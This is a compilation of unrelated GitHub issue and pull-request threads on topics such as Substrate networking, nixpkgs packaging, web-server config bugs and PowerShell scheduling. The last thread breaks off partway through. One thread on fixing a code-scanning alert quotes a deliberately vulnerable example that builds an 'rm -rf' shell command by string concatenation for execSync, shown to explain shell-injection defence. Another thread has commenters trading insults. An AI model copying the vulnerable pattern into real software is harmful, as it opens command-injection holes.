Installed_Problem.txt

INSTALLED_PROBLEM.txt

Installed what? There is nothing in your pull request?

@adamsnowden2023 What's your game ? Why do you create a PULL REQUEST with a text file saying the following
After you install this pho7cms you are not able to login as a user or as the site administrator...
Don't you think opening a issue AND explaining your installation would be better?
https://github.com/pH7Software/pH7-Social-Dating-CMS/wiki/How-to-ask-for-help
They're getting smarter every day....

@adamsnowden2023 Did you ask your mommy before opening a Github account for this only purpouse ?

—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/pH7Software/pH7-Social-Dating-CMS/pull/802#issuecomment-665404181,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AQN3KBGH54JYSROUAVVADEDR56G67ANCNFSM4PK4FJAA
.

—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/pH7Software/pH7-Social-Dating-CMS/pull/802#issuecomment-665404181,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AQN3KBGH54JYSROUAVVADEDR56G67ANCNFSM4PK4FJAA
.

@adamsnowden2023  Why are picking a fight here of all places? Think very carefully before you dig yourself any deeper!
You can't log in as admin cos your so dense you entered the database credentials incorrectly on the first attempt!  If you entered them correctly you would have seen the form to set admin username, email and password but you would have only got stuck somewhere else.
The 3rd party libraries are not included due to the rules here on GitHub this is standard procedure so yes it asks you to install 3rd party libraries via composer yourself.
Now go and try again, I have given you advice on software but the best advice above is not about the software, I won't be so understanding if you speak to anyone here in that way again!


Attempt to relieve pressure on mpsc_network_worker

SyncingEngine interacting with NetworkWorker can put a lot of strain on the channel if the number of inbound connections is high. This is because SyncingEngine is notified of each inbound substream which it then can either accept or reject and this causes a lot of message exchange on the already busy channel.
Use a direct channel pair between Protocol and SyncingEngine used to exchange notification events. It is a temporary change to alleviate the problems caused by syncing being an independent protocol and the fix will be removed once NotificationService is implemented.
As a first attempt I tried to implement inbound substream chilling if remote peers keep opening substreams even if they've been rejected but it quickly became too complicated. The root cause for that issues has to be find and fixed because nodes should be backed off in case the substream is closed.

The CI pipeline was cancelled due to failure one of the required jobs.
Job name: test-linux-stable
Logs: https://gitlab.parity.io/parity/mirrors/substrate/-/jobs/2596855

SyncingEngine interacting with NetworkWorker can put a lot of strain on the channel if the number of inbound connections is high. This is because SyncingEngine is notified of each inbound substream which it then can either accept or reject and this causes a lot of message exchange on the already busy channel.

How many messages per second are we talking about exactly? Do you have a ballpark of how high this usually is?
These channels are really not designed for high performance one-by-one transfer of many messages. Usually the trick to speeding those up is to either (depending on the requirements):
a) Use a Arc<Mutex<Vec<...>>> instead (or a channel wrapper which uses such under the hood),
b) Buffer the messages and send them in chunks instead of one-by-one

Before this change, there was 1-4 messages (depending on whether the peer was reported/substream was accepted) for each incoming stream transmitted between two different channels (1-2 x SyncingEngine <- NetworkWorker and 0-2 x SyncingEngine -> NetworkWorker). I don't think this itself is a problem as it doesn't sound too bad but you know this better than I do. I cannot give an estimate of messages per second but enough that the node is not able process all of them in a timely manner for some people, maybe on lower-end hardware, and it causes the buffer to fill up to 100k messages. Part of the problem is that mpsc_network_worker was a busy channel already before the sync refactoring and that change made the situation for the channel even worse.
When the node starts there is higher amount because there's lots of incoming substreams so the traffic on the channel is quite high.  There seems to be some problem with the back-off mechanism, reported in another issue, whereby some nodes apparently keeping opening substreams even if they're getting rejected. Fixing that bug should relieve the pressure even further. Another problem is that Peerset for some reason doesn't reject an inbound connection even if the inbound slots for the protocol are full which then results in unnecessary signaling between protocols and NetworkWorker. That is something Dmitry addressing with his PR.
I've started the work on removing this central channel  from NetworkWorker entirely which would allow protocols to communicate with Notifications directly so sc-network shouldn't choke anymore after that.
What do you think?

I cannot give an estimate of messages per second but enough that the node is not able process all of them in a timely manner for some people, maybe on lower-end hardware, and it causes the buffer to fill up to 100k messages.

That definitely sounds abnormal!

I've started the work on removing this central channel from NetworkWorker entirely which would allow protocols to communicate with Notifications directly so sc-network shouldn't choke anymore after that.

Yeah, this sounds like a good idea to me.
Does removing this channel also mean that those messages can now be processed in parallel? If the buffer right now can fill up to 100k messages then that implies that on the receiving end it takes too long to process at least some of the messages. Reducing the inter-thread congestion by splitting the channel can help, but with this number of messages the overhead of the channel itself is probably not the root cause.

Does removing this channel also mean that those messages can now be processed in parallel? If the buffer right now can fill up to 100k messages then that implies that on the receiving end it takes too long to process at least some of the messages.

Introducing parallelism and removing unnecessary event duplication are the goals of that refactoring. Every protocol now gets a copy of every event from the network even though they all are only interested in their own events. After that refactoring, each protocol would only get its own events and it can process that event in parallel to other protocols.

Does removing this channel also mean that those messages can now be processed in parallel? If the buffer right now can fill up to 100k messages then that implies that on the receiving end it takes too long to process at least some of the messages.

Introducing parallelism and removing unnecessary event duplication are the goals of that refactoring. Every protocol now gets a copy of every event from the network even though they all are only interested in their own events. After that refactoring, each protocol would only get its own events and it can process that event in parallel to other protocols.

That sounds great! Yeah, it should help with whatever congestion we're having here.

The CI pipeline was cancelled due to failure one of the required jobs.
Job name: cargo-check-benches
Logs: https://gitlab.parity.io/parity/mirrors/substrate/-/jobs/2608394

bot merge


heroic: enable Wayland IME support

Description of changes
This doesn't crash anymore on the latest Electron and is useful for Steam Deck users.
Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[x] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[x] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
23.11 Release Notes (or backporting 23.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

Electron 26 landed and it hasn't crashed for me ... so far?


gurobi: 8.1.0 -> 9.1.2

Motivation for this change
Motivated by the Gurobi.jl Julia package requiring Gurobi version 9.0 or 9.1.
Things done

[x] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS linux)
Built on platform(s)

[x] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[x] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[x] Ensured that relevant documentation is up to date
[x] Fits CONTRIBUTING.md.

Result of nixpkgs-review pr 120525 at c18449fa run on x86_64-linux 1

3 packages built successfully:

gurobi
python38Packages.gurobipy
python39Packages.gurobipy

6 suggestions:

warning: maintainers-missing
Package does not have a maintainer. Consider adding yourself?
Near pkgs/development/python-modules/gurobipy/linux.nix:12:5:
   |
12 |     patches = [ ./no-clever-setup.patch ];
   |     ^

warning: missing-phase-hooks
installPhase should probably contain runHook preInstall and runHook postInstall.
Near pkgs/applications/science/math/gurobi/default.nix:27:3:
   |
27 |   installPhase = ''
   |   ^

warning: missing-patch-comment
Please add a comment on the line above, explaining the purpose of this patch.
Near pkgs/development/python-modules/gurobipy/linux.nix:12:17:
   |
12 |     patches = [ ./no-clever-setup.patch ];
   |                 ^

warning: missing-phase-hooks
buildPhase should probably contain runHook preBuild and runHook postBuild.
Near pkgs/applications/science/math/gurobi/default.nix:21:3:
   |
21 |   buildPhase = ''
   |   ^

warning: license-missing
Package is missing a license.
Near pkgs/development/python-modules/gurobipy/linux.nix:12:5:
   |
12 |     patches = [ ./no-clever-setup.patch ];
   |     ^

warning: no-python-tests
Test runner could not discover any test cases: ‘Ran 0 tests in 0.000s’
Near pkgs/development/python-modules/gurobipy/linux.nix:6:0:
  |
6 |     version = "9.1.2";
  | ^


Fix code scanning alert - Shell command built from environment values

Tracking issue for:

[ ] https://github.com/Nautilus-Cyberneering/git-queue/security/code-scanning/4

The Gitrepo class contains a two calls to execSync:

execSync(git -C ${this.getDirPath()} status, {stdio: 'ignore'})
execSync(git -C ${this.dir.getDirPath()} log -n 0, {stdio: 'ignore'})

https://github.com/Nautilus-Cyberneering/git-queue/blob/main/src/git-repo.ts
Since we use a class for the dir we are safe against shell injection as long as the class validates the dir:
https://github.com/Nautilus-Cyberneering/git-queue/blob/d47bd36bdad81487862ae73f3464a89c1a4fe9bd/src/git-repo-dir.ts#L9
Anyway, we could refactor it in order to avoid getting alerts from Code scanning.
They suggest:
var cp = require("child_process"),
  path = require("path");
function cleanupTemp() {
  let cmd = "rm",
    args = ["-rf", path.join(__dirname, "temp")];
  cp.execFileSync(cmd, args); // GOOD
}

instead of:
var cp = require("child_process"),
  path = require("path");
function cleanupTemp() {
  let cmd = "rm -rf " + path.join(__dirname, "temp");
  cp.execSync(cmd); // BAD
}

For the Librarian we build a wrapper to execute console commands.
I think it's a good idea because:

It forces the user to pass the arguments for the console command with other function parameters that could be escaped.
We can check easily check that all console commands are executed via the wrapper.
If the validation of the object fails or stops working we are still safe against shell injection because we escape the arguments. For example, if the dir class validation is accidentally removed the console command will fail with a malicious string.

Hi @josecelano At the moment I have refactored these two calls following the recommendation of Code scanning.
However, I do not fully understand the need to make a wrapper considering that passing the arguments in the way that code scanning suggests is enough to avoid the problem, in addition to the fact that at the moment there are only two calls.

Hi @ivanramosnet I think having a wrapper has two main advantages:

People would use only the GOOD way if the just copy and paste the wrapper. If you use that function somewhere else you could use the BAD way. Of course we should check that on the PR reviews but that leads to my second point ...
If we have a wrapper we could easily identify when the original function is being used and detect potencial security problems.

Anyway, the Code Scanning is going to detect it anyway again and people could forget to check for the use of the original function. So maybe my argument is not strong enough, so keep it that way :-).
And please, if there are not tests for the methods using that function add them :-).

By the way @ivanramosnet it returns a generic error when the dir does no exist:
 throw new Error()

I think we should return a DirNotFoundError with the dir path. Actually the dir could be removed after instantiating the object.


Error while:  npm install

I got below error while installing the package, How to resolve this?

Hi . are you trying to install this into some deep "node_module" folder. I tried installing it just installs fine..
You should be installing this in the root folder of react native app.
Thanks

@gs-akhan  - Yeah...thats the root folder of my React-Native app on H: drive. Its just deep inside organized folders. :)

@cspkop . Actually this library is pure JS it does'nt have to to do "node-gyp rebuild" This is weird.
Do you have other dependencies too in package.json ?

@gs-akhan
Below is the content of my React-Native apps package.json file, seems like it has added this package as dependency and then got this error.
{
"name": "MyApp",
"version": "0.0.1",
"private": true,
"scripts": {
"start": "react-native start"
},
"dependencies": {
"react-native": "0.16.0",
"react-native-dropdown": "0.0.6"
}
}

@cspkop Try including it and run the example, if that works - it should be ok.  I will try to run this into react native 0.0.16. which I havent done so far.
Thanks

@gs-akhan - I tried 'require'ing the files in my app as shown in the example, and it works fine.
But, now the UI is getting rendered incorrectly... have a look at the  below screenshots

@cspkop  Ouch !! Looks like issue on Android. I shall look into this ..
Will fix it ASAP..

@cspkop If you can lookinto it please send a PR.

@alinz I did spend like hours behind this. what I observe is the updatePosition the setTimeout callbacks in updatePosition function does'nt get executed at all.. Any idea why ?
Thanks

@cspkop Well I have investigated this and found that it might be a platform issue from React-Native Android. "UIManager.measure" doesn't give proper values to position the dropdown right under the select.
@alinz  What I can do is position this selection at center of screen for Android . At least the users can have it working. need your word on this.
Thanks.

@gs-akhan give me one more day. I will take a look at it. Will let you know.

Hi, any updates on the positioning thing? I'd have looked into it. But I'm just starting out and have very little knowledge. Any progress?


Configuration not reliable

I tried multiple times now to add some headers to some of my hosts and to active GZIP on specific paths.
I never made it because in fact the configuration of the plugin is very hazardous.
After many tries, it appears that plugins are loaded randomly.
I tried to check if the plugging order mater but it seams like it does not.
Here is an config example:
---
address: ":8080"
hosts:
  localhost:
    paths:
      "/":
        plugins:
          -
            name: static
            browse: true
            html5: true
            root: ./
          -
            name: header
            set:
              Content-Security-Policy: "default-src 'self' data:"
              Expect-CT: max-age=604800
              Feature-Policy: "accelerometer 'none'; camera 'none'; geolocation 'none'; gyroscope 'none'; magnetometer 'none'; microphone 'none'; payment 'none'; usb 'none'"
              Referrer-Policy: strict-origin-when-cross-origin
              Strict-Transport-Security: "max-age=15780000; includeSubdomains"
              X-Content-Type-Option: nosniff
              X-Frame-Options: SAMEORIGIN
              X-Xss-Protection: "1; mode=block"
          -
            name: gzip
            level: 3
      "/API/content/":
        plugins:
          -
            browse: true
            html5: true
            name: static
            root: ./
          -
            name: header
            set:
              File: "true"
    # plugins:
    #   -
    #     browse: true
    #     html5: true
    #     name: static
    #     root: ./
read_timeout: 129600
write_timeout: 129600

You can make it even simpler but here is the point.
If I run the process with the same config and same build I have random result:
curl --compressed --head localhost:8080/
HTTP/1.1 200 OK
Content-Security-Policy: default-src 'self' data:
Content-Type: text/html; charset=UTF-8
Expect-Ct: max-age=604800
Feature-Policy: accelerometer 'none'; camera 'none'; geolocation 'none'; gyroscope 'none'; magnetometer 'none'; microphone 'none'; payment 'none'; usb 'none'
Referrer-Policy: strict-origin-when-cross-origin
Server: armor/0.4.13
Strict-Transport-Security: max-age=15780000; includeSubdomains
X-Content-Type-Option: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
Date: Thu, 13 Jun 2019 10:03:27 GMT
Content-Length: 928

curl --compressed --head localhost:8080/
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: armor/0.4.13
Date: Thu, 13 Jun 2019 10:31:35 GMT

curl --compressed --head localhost:8080/
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: armor/0.4.13
Date: Thu, 13 Jun 2019 10:31:36 GMT

curl --compressed --head localhost:8080/
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: armor/0.4.13
Date: Thu, 13 Jun 2019 10:31:50 GMT

curl --compressed --head localhost:8080/
HTTP/1.1 200 OK
Content-Encoding: gzip
Content-Security-Policy: default-src 'self' data:
Content-Type: text/html; charset=UTF-8
Expect-Ct: max-age=604800
Feature-Policy: accelerometer 'none'; camera 'none'; geolocation 'none'; gyroscope 'none'; magnetometer 'none'; microphone 'none'; payment 'none'; usb 'none'
Referrer-Policy: strict-origin-when-cross-origin
Server: armor/0.4.13
Strict-Transport-Security: max-age=15780000; includeSubdomains
Vary: Accept-Encoding
X-Content-Type-Option: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
Date: Thu, 13 Jun 2019 10:31:57 GMT
Content-Length: 923

It looks like the static plugin is always loaded but the  GZIP and header are not always.
In the first command header are OK but not the GZIP.
In the second, third and fourth none GZIP or header are loaded.
And in the last one finally is what I expect.
We can't relay on this behavior and I did not found where to dig.
Please take a look to this, because it's a terrible thing.

@alexandrestein I would need help here. Along with this I have some other tasks pending:

Upgrade to latest Echo
Use Echo#Host() to add virtual hosts

Your fixe is much better than my ugly and quick patch.
It looks reliable but the behavior has changed.
Before this configuration was working:
address: ":8080"
hosts:
  localhost:
    paths:
      "/":
        plugins:
        -
          name: static
          html5: true
          browse: true
          root: "/"

But now it returns 404.
The problem is that the host match does not clean the port.
To workaround, this configuration works:
address: ":8080"
hosts:
  localhost:8080:
    paths:
      "/":
        plugins:
        -
          name: static
          html5: true
          browse: true
          root: "/"

I'm not certain than this is the behavior you want. (It does not look pretty to me.)
I guess that in most case the default ports will be used and this will not be a problem.
About the issue we are talking, the problem looks to be solved with your update.

Just did a commit, can you verify now?

Now both configuration returns 404. :cry:

Check now.
On Tue, Jun 18, 2019 at 11:07 AM Alexandre Stein<EMAIL_ADDRESS>wrote:

Now both configuration returns 404. 😢
—
You are receiving this because you modified the open/close state.
Reply to this email directly, view it on GitHub
https://github.com/labstack/armor/issues/51?email_source=notifications&email_token=AACMVNATUKGUCBXNIGMH6GTP3EP5FA5CNFSM4HXYMGYKYY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGODX7PLXI#issuecomment-503248349,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AACMVNF7XAULMJRJAGJDT2TP3EP5FANCNFSM4HXYMGYA
.

It is working without the port at the host definition.
And not with it.
Which is exactly what I would expect :smile:
Thank you,
I think now you can cut the release. :tada:

Sorry, I been too fast. :cry:
It's not working. Hosts are mixed-up redirection and proxies are totally broken...
I will take a look but do not cut the release.

@alexandrestein Take your time.

I did found where to solve the problem.
I wonder if Echo handler has change behavior since V3.
It's like Armor register hosts without port. Which is good.
But once Echo handles the request. I guess that, it tries to match the host but with port. Which is NOT good.
Does this make sens?

@alexandrestein Is it still broken for you? I used port while registering the host in Armor.

Yes @vishr :smile:
I was taking a look at this.
The problem is when you use TLS on a non standard port.
Because you register the host with the HTTP port only.
For example, this configuration works for HTTP but not for HTTPS:
address: ":8000"
tls:
  address: ":4430"
  cert_file: testing/keys/localhost.crt
  key_file: testing/keys/localhost.key
  key_pinning: true
hosts:
  localhost:
    plugins:
      -
        name: static
        html5: true
        browse: true
        root: "."

I will look into it today.

@alexandrestein Can you try now?

Well it seems to be working for standard port.
But not for any other ports.
If we need to run the server at a specific port the configuration is not working for both ports.

I'm not sure if I should open an other issue; but redirection replies me 404.

Can you share a simple config to debug?
On Mon, Jun 24, 2019 at 8:12 AM Alexandre Stein<EMAIL_ADDRESS>wrote:

I'm not sure if I should open an other issue; but redirection replies me
404.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/labstack/armor/issues/51?email_source=notifications&email_token=AACMVNC5VAXJIXJ2IS5NDDLP4DP4VA5CNFSM4HXYMGYKYY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGODYNIDHY#issuecomment-505053599,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AACMVNCEXIUIVE2CZKSZ4XLP4DP4VANCNFSM4HXYMGYA
.

For the redirection, as simple as possible:
address: ":80"
tls:
  address: ":443"
  cert_file: testing/keys/localhost.crt
  key_file: testing/keys/localhost.key
hosts:
  localhost:
    plugins:
      -
        name: redirect
        from: "*"
        to: "https://github.com/labstack/armor/issues/51"

@alexandrestein I have pushed a new release, most likely redirect should have been fixed. Furthermore, I have make redirect plugin more simpler, in future most likely we will make it like redirect plugin here is the issue being tracked https://github.com/labstack/echo/issues/1366. If you see issue please send a complete set of files to reproduce, including you key/cert files.

Hi @vishr.
Ok I made a simple test you can find here. It's a fork from your last release and it doesn't look very good to me. changes
The same test works with my master branch which is a previous release with some changes I don't remember what.
Take a look and tell me if I missed something.
If you have the same conclusion as I me. I should make a PR of the testing branch.

To run the test I go to the root directory of the package and I run sudo go1.13beta1 test -v ./cmd.
Sorry, the package I'm using for generating the certificates is written for go starting at 1.13.0.


Task Scheduler Compatibility Problem

Just installed PowerShell 6.0. Was using 5.1 before.
I updated my scheduled tasks (in the Windows Server Task Scheduler) and I can't name the executable like before. The event gives a 0x80070002 (file not found) error when the task runs.
Checked Path variable, looks fine.
If I put in the full path to pwsh.exe, it works fine. But I'm concerned with doing that since it involves a 6.0.0 folder, which I assume will change.
Please update the installer to fix this shortcoming. (I used PowerShell-6.0.0-win-x64.msi)

So what's the preferred fix here? Is the team going to make some changes?

@sundarchi1 @iSazonov wrote on #6046 that the App Path was actually already there but was using HKCU, instead of HKLM so registry changes were made to change App Path to be under HKLM in commit #5915 so I guess technically we're just waiting for the next release. The result of other discussions about possible SxS conflicts being that if someone is using SxS then they should really be using the zip and referencing that install manually, should they require it.

Ok I'll check this out when the next version releases..

What's the latest on this as of the v6.0.2 "releaes"? (someone spelled that wrong here!)

I'm still seeing the problem in 6.0.2 but what is strange is that my system PATH (using cmd.exe) shows no mention at all of C:\Program Files\PowerShell\6.0.2. If I fire up cmd.exe and enter pwsh.exe I get: 'pwsh.exe' is not recognized as an internal or external command, operable program or batch file.
If however I do $env:path inside PowerShell 6.0.2, the folder location is right there on the top line.
In Windows PowerShell 5.1, I get the system path.
I'm going to post this then I'll add C:\Program Files\PowerShell\6.0.2 to the system PATH manually, reboot and see what happens.

Once added to the system PATH (and after a reboot) the scheduled task executes as expected.

Will the next version add to PATH automatically?

We'll use standard  install path. Please feedback in https://github.com/PowerShell/PowerShell-RFC/pull/115

Surprised to see this still unfixed in preview4 released today.
pwsh.exe still does not work in Task Scheduler without full path!
Note: I installed with "Add PowerShell to Path Environment Variable" checked, but it doesn't look like that actually did anything.
Please reopen.

@sundarchi1 Did you follow the instructions here:  https://github.com/PowerShell/PowerShell/issues/5919#issuecomment-373817293

Not sure if the same fix for 6.1.0 p4 was applied to 6.0.3 but right after installation of 6.0.3 and before a reboot, the scheduled task didn't run. A reboot later and it worked as expected.
The system path was updated by the installer (leaving behind the previous entry referring to 6.0.2 however). I imagine that with 6.1 this will no longer be a problem if the installs all go in the same place?

@sundarchi1  The previews don't add themselves to the path by design.  Only Stable builds do, we are considering adding pwsh-preview to the path as we did on Linux and Mac.

@TravisEz13 Oh ok, so this should be fully resolved in 6.1 final.. will retest when that comes out.
Any hint when the final release comes out?

In the last community call, it was said that August will be the target for the final release.

@sundarchi1 https://github.com/PowerShell/PowerShell/pull/7345 should address your issue

I have found success with the RC1 release.😃 Thanks to everyone involved.
pwsh-preview works in Task Scheduler, and I assume pwsh will work the same upon final release.
Note to anyone reading this later, rebooting after installing PowerShell is important, otherwise you will get 0x80070002 in Task Scheduler.


When mixing self-terminating and closing-tag elements, tag pairing breaks

Consider the following two examples of JSX:
<example>
    <foo>
        <foo/>
    </foo>
</example>

In this case placing the cursor anywhere between the opening and closing foo tag, highlights the correct pair.
<example>
    <foo>
        <foo a="b"/>
    </foo>
</example>

This example has an extra attribute (but adding a single space before the terminator is enough to trigger). Atom will incorrectly pair the self-closing element with with a closing tag of the outer foo element.

Yes it's the package https://github.com/atom/bracket-matcher doing this. It thinks it's HTML/XML and it does the matching. Not much I can do about this. Changing the middle foo to another name also fixes the problem but isn't much use to you.

Thanks, the relevant bug is atom/bracket-matcher#115.


[AVM Module Issue]: unknown shorthand flag: 'r' in -r received after running avm scripts post grept-apply

Check for previous/existing GitHub issues

[X] I have checked for previous/existing GitHub issues

Issue Type?
Bug
(Optional) Module Version
No response
(Optional) Correlation Id
No response
Description
After merging chore: repository governance to the AVM Terraform avm-res-web-site repository, I decided to work on a branch.
Once my changes were made, I attempted to run ./avm pre-commit and received the following response in the console:
PS C:\Users\donovanmccoy\GIt\AVM\terraform-azurerm-avm-res-web-site> ./avm pre-commit
unknown shorthand flag: 'r' in -r
See 'docker run --help'.

Upon checking the changed files, I concluded that the 'r' in the -r ARM_SUBSCRIPTION_ID (line 21) may need to be changed to 'e'. This is the only occurance of an environment variable that follows the -r flag, as opposed to the -e flag.
I changed line 21 of avm.bat to see if this would allow docker to run the script.
current:
%CONTAINER_RUNTIME% run --pull always --rm -v "%cd%":/src -w /src --user "1000:1000" -r ARM_SUBSCRIPTION_ID -e GITHUB_REPOSITORY -e GITHUB_REPOSITORY_OWNER mcr.microsoft.com/azterraform make %1

potential fix:
%CONTAINER_RUNTIME% run --pull always --rm -v "%cd%":/src -w /src --user "1000:1000" -e ARM_SUBSCRIPTION_ID -e GITHUB_REPOSITORY -e GITHUB_REPOSITORY_OWNER mcr.microsoft.com/azterraform make %1

This change resulted in the script running successfully.
Let me know what you all think 👍

Sorry - thanks for raising

Should be fixed now! Please confirm after running grept 😊

@matt-FFFFFF: issue fixed - thanks a lot!


Add test for fragment ordering

Coverage remained the same at 100.0% when pulling a99391860b2118f356fc9a28b2d8b0a98758a65d on JoviDeCroock:testingfrags into 46f0738d5d9044c1ede2c4363d32567e2ad36955 on developit:master.


Event Request in Report-7053 (Sales Price Worksheet-OnAfterGetRecord)

We have some customized fields in the table "Sales Price Worksheet" and "Sales Price" tables. We are inserting the values from "Sales Price Worksheet" to "Sales Price" using this report.
Can you please provide a publisher as OnBeforeSalesPriceInsert("Sales Price Worksheet",VAR SalesPrice); as shown below
2nd(SalesPrice) parameter must be Var type.

The event already exists. Please make sure to always use a recent bcsandbox-master Docker image before filing new requests.


Logging all requests ?

Ive setup a server of my own with the demo server example and added SSL and it works well.
But what i really would like was to log all requests being passed through the server and whos doing it, anyone that can guide me to how i can get a log like that up running, its fine that its only printed in the console.
Not able to find any in the documentation if its out of the box or you need to modify anything ?

There is no built-in logging functionality. If you want to log all outgoing requests, including redirects, fork the library and add logging here:
https://github.com/Rob--W/cors-anywhere/blob/4814647a9d21f14858da282387a4295c17f2851d/lib/cors-anywhere.js#L133

Possible to log all responses?


Change Party doesn't activate party members

Describe the bug
Party members that are added to an area by "change party" aren't activated and are not fully loaded into the area.
The reason I call it activated, is that Bag of Tricks had a button to "activate new party members" to fix this.
To Reproduce
Steps to reproduce the behavior:

Go to an area where you haven't loaded some party members
Click on 'Change Party'
Swap in some party members
Note that they don't show up near your party. The indicators point away from the map and they are not visible and have no quick items set. Trying to teleport them to you doesn't work either and they cannot be selected as part of the whole group.

Expected behavior
The party members are available and usable.
Version Info:

ToyBox Version: [e.g. 1.3.8]

duplicate of #274


Switch to Gradle 7.0 causes "unknown property 'runtime'"

When I switch to Gradle 7.0 https://github.com/ytai/ioio/pull/250/files I run into a build error
It's a follow up of #16822
Expected Behavior
No error should appear
Current Behavior
I run into
> Could not create task ':HelloIOIOConsole:distJar'.
   > Could not create task of type 'OneJar'.
      > Could not get unknown property 'runtime' for configuration container of type org.gradle.api.internal.artifacts.configurations.DefaultConfigurationContainer.

This is the causing block
plugins {
    id "com.github.onslip.gradle-one-jar" version "1.0.6"
}

task distJar(type: OneJar) {                              <--- This is the error line !
    mainClass = 'ioio.examples.hello_console.HelloIOIOConsole'
}

Steps to Reproduce
https://github.com/ytai/ioio/pull/250/files
Your Environment
Here you see the error https://github.com/ytai/ioio/pull/250/checks?check_run_id=2340438978

The runtime configuration has been removed in Gradle 7.0 after it has been deprecated for a while.
Please use runtimeOnly instead. see: https://docs.gradle.org/current/userguide/upgrading_version_6.html#sec:configuration_removal
If the error is caused by the com.github.onslip.gradle-one-jar please open an issue there.


Proposal: Support JSON as output format.

Hi, first of all thanks for the hard work for this project. I'd really like to use this to have a single source for i18n but would like to output the results as JSON.
This is because I'd like to lazy load the translation files from my SPA depending on which language has been requested.
Proposed Behavior
Add a --format option which can take es6, umd or json. (Defaults to es6)
// e.g.
php artisan vue-i18n:generate --format json

Current Behavior
Either es6 or umd is supported.
// es6
php artisan vue-i18n:generate

// umd
php artisan vue-i18n:generate --umd

Possible Solution
Since adding --json will become cumbersome, how about refactoring it to --format which takes es6, umd or json? But keep --umd for backwards compatibility.
I would like to hear your thoughts @martinlindhe and am also willing to contribute :)
Thanks!

Sounds like a great feature to have. Please go ahead and work on this!


Automated cherry pick of #8456: fix(esxi): resize root disk after cloning vm

Cherry pick of #8456 on release/3.5.
#8456: fix(esxi): resize root disk after cloning vm

Codecov Report

:exclamation: No coverage uploaded for pull request base (release/3.5@b033b6c). Click here to learn what that means.
The diff coverage is n/a.

@@              Coverage Diff              @@
##             release/3.5   #8457   +/-   ##
=============================================
  Coverage               ?   3.52%
=============================================
  Files                  ?     304
  Lines                  ?   62591
  Branches               ?       0
=============================================
  Hits                   ?    2205
  Misses                 ?   60233
  Partials               ?     153

Flag
Coverage Δ

#aFlag
3.52% <0.00%> (?)

Flags with carried forward coverage won't be shown. Click here to find out more.

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update b033b6c...d7b25da. Read the comment docs.

/lgtm
/approve


Call readiness should display properly on landscape

What
Call readiness should display properly on landscape
Why
Call readiness should display properly on landscape, properly centered and fit properly
How Tested
UI test snapshots

Dialpad missing from snapshot:

That should not be happening, rerunning the tests

any idea why this is updating?  should we be concerned about phantom updates to snapshots? otherwise looks good!

Flakiness I think, looks like the position of the modal slightly changed


Gridster with on-click Elements

Hello,
i want to build a customisable navigation.
So far everything works pretty fine, my only problem is, i cannot drag the elements, when they have a clickable html element inside, with width and height of 100%.
Here is a little plnkr to show my problem:
http://plnkr.co/edit/qqprcY?p=preview
I can resize and all, but not sort or drag them.

I solved my problem.
I don't want to drag and resize my buttons all the time, just when the user is in the Edit Mode. So what i did was simply, i watch if the "Edit-Mode" variable changes to true, and if this happens, i append my button with an  with the style:
.dragMe {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
}
and tell gridster that .dragMe is the drag Handle.
When i leave the EditMode i simply $('.dragMe').remove(); the elements.

Yeah there is specific code to avoid drag events for inputs and buttons.  This is a fairly special use case, so I'm glad you were able to work it out.


Pin SwiftLint to 0.53.0

Please review the release process for BrowserServicesKit here.
Required:
Task/Issue URL: https://app.asana.com/0/0/1205634434068015/f
iOS PR: N/A
macOS PR: N/A
What kind of version bump will this require?: None, this is a workflow file change only
Description:
This PR pins SwiftLint to 0.53.0.

Steps to test this PR:

Check that the SwiftLint step is green
Check that the workflow file is using 0.53.0

OS Testing:

[ ] iOS 14
[ ] iOS 15
[ ] iOS 16
[ ] macOS 10.15
[ ] macOS 11
[ ] macOS 12

Internal references:
Software Engineering Expectations
Technical Design Template

Closing this while I fix SwiftLint warnings


Add validate

The branch just adds Validate DataType in addition to the Train and Test DataType.

@wenxichen  merge this to tf_stable first.


Updated trainer links message

Removed the second "Please..." for redundancy but also increased urgency/authority, and made the requested action more explicit to clarify that this should happen now, to the current comment, and not only in future posts.

Sorry, I just noticed this. Feel free to poke me on Discord if I don't acknowledge a PR after a week, especially something trivial like this.

Thanks

Coolio, cheers.


Folder access in MacOS Catalina

[x] I have read through the manual page (man fzf)
[x] I have the latest version of fzf
[x] I have searched through the existing issues

Info

OS

[ ] Linux
[x] Mac OS X
[ ] Windows
